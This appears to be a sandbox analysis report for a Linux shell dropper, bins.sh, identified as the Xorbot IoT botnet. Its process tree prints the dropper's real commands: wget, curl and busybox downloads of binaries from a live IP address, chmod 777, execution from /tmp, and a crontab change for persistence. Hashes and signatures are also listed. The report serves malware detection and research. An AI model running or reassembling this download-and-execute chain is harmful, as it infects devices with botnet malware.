Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/02/2025, 19:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250210-ypb97avper
  • SHA256 ba9042796dea6961ae0dd9690a3a0e17f9652519a9dd2a1137fe3ca12366dc3e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (801) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1517
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1518
      • /usr/bin/wget
        wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:1531
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:1532
      • /bin/chmod
        chmod 777 UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • File and Directory Permissions Modification
        PID:1533
      • /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        ./UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
          PID:1534
        • /bin/rm
          rm UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
          2⤵
            PID:1536
          • /usr/bin/wget
            wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:1537
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:1538
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:1541
          • /bin/chmod
            chmod 777 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • File and Directory Permissions Modification
            PID:1542
          • /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            ./1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
              PID:1543
            • /bin/rm
              rm 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
              2⤵
                PID:1545
              • /usr/bin/wget
                wget http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                2⤵
                • Writes file to tmp directory
                PID:1546
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                2⤵
                • Writes file to tmp directory
                PID:1547
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                2⤵
                • Writes file to tmp directory
                PID:1548
              • /bin/chmod
                chmod 777 Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                2⤵
                • File and Directory Permissions Modification
                PID:1549
              • /tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                ./Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                2⤵
                  PID:1550
                • /bin/rm
                  rm Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                  2⤵
                    PID:1552
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    2⤵
                    • Writes file to tmp directory
                    PID:1553
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    2⤵
                    • Writes file to tmp directory
                    PID:1554
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    2⤵
                    • Writes file to tmp directory
                    PID:1555
                  • /bin/chmod
                    chmod 777 pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1556
                  • /tmp/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    ./pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:1557
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1559
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1560
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1561
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1562
                        • /bin/rm
                          rm pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                          2⤵
                            PID:1564
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/ZNye3fR2m70uPDpJzMmJhuL0bxWNpxY9dI
                            2⤵
                              PID:1567

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
                                • Path /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                                • Path /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                                • Path /tmp/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                                • Path /tmp/pozsMaYmKlPQsB0ZtRuREanzdTXb0PwJAr
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.VbqoOg
                                • Path /var/spool/cron/crontabs/tmp.VbqoOg
                                • Size 210B
                                • SHA256 4822c663a2ea5dd7faca223cb24e36e53b06e487906e65603347f9dd097b907d
                                • MD5 SHA1 SHA512
                                Submit Download